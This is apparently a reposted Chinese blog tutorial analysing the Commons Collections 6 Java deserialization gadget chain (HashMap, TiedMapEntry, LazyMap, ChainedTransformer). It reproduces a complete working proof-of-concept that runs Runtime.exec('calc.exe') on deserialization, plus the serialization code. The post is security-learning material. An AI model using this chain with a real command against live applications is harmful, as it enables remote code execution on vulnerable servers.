[Java反序列化]Javacc链6分析

Posted Y4tacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Java反序列化]Javacc链6分析相关的知识,希望对你有一定的参考价值。

写在前面

感觉看完了cc链1以后cc链6就突然变得很简单了(来自P神的简化链,这里我修改了一丢丢),那么就开始学习了

Gadgets

/*
 Gadget chain:
 java.io.ObjectInputStream.readObject()
 	java.util.HashMap.readObject()
 		java.util.HashMap.hash()
 
			org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
 
				org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
	 org.apache.commons.collections.map.LazyMap.get()
 
					org.apache.commons.collections.functors.ChainedTransformer.transform()
 
						org.apache.commons.collections.functors.InvokerTransformer.transform()
 							java.lang.reflect.Method.invoke()
 								java.lang.Runtime.exec()
*/

JavaCC链6分析

首先前置还是LazyMap的那一部分,将transformers传入ChainedTransformer就实现了参数的传递(ChainedTransformer是实现了Transformer接⼝的⼀个类,它的作⽤是前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
),之后用LazyMap的decorate包装,在触发lazymap的get方法后执行整个“回调”过程

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                String.class,
                Class[].class}, new Object[]{"getRuntime",
                new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{
                Object.class,
                Object[].class}, new Object[]{null, new
                Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class
            },
                new String[]{"calc.exe"}),
            new ConstantTransformer(1),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

之后这里利用的是TiedMapEntry,用来触发LazyMap的get方法
我们来看,在TiedMapEntry

public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

这里调用了getValue函数

public Object getValue() {
        return this.map.get(this.key);
    }

因此我们控制这个this.mapLazyMap即可,接下来就是寻找一个能够触发TiedMapEntryhashcode方法的点,学了P神的链子,P神用的是HashMapreadObject方法,但是发现P神一个地方似乎写多了就是,我这里亲测删除后通过文件读写也是没问题的,不清楚,希望师父们给我说说

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

能看到最下面调用了putVal(hash(key), key, value, false, false);,跟进这个hash方法

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

因此我们将LazyMap传入对象

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

还有要注意的一点就是

outerMap.remove("keykey");

因为在前面调用

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

发现这里HashMapput方法也调用了

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

导致LazyMap这个利⽤链在这⾥被调⽤了⼀遍
在这里插入图片描述
从而使这个super.map.put(key, value);被调用
在这里插入图片描述
因此在写入后!super.map.containsKey(key)false

利用链

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                String.class,
                Class[].class}, new Object[]{"getRuntime",
                new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{
                Object.class,
                Object[].class}, new Object[]{null, new
                Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class
            },
                new String[]{"calc.exe"}),
            new ConstantTransformer(1),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");
        FileOutputStream fileInputStream = new FileOutputStream(new File("./1.txt"));
        ObjectOutputStream oos = new ObjectOutputStream(fileInputStream);
        oos.writeObject(expMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new
            FileInputStream(new File("./1.txt")));
        Object o = (Object) ois.readObject();

参考文章

https://wx.zsxq.com/dweb2/index/group/2212251881

以上是关于[Java反序列化]Javacc链6分析的主要内容,如果未能解决你的问题,请参考以下文章

[JAVA反序列化]JAVACC链1分析

[JAVA反序列化]Javacc链1分析

[Java反序列化]JavaCC链学习(8u71前)

[Java反序列化]JavaCC链学习(8u71前)

CommonCollections1反序列化利用链分析

12-java安全——java反序列化CC7链分析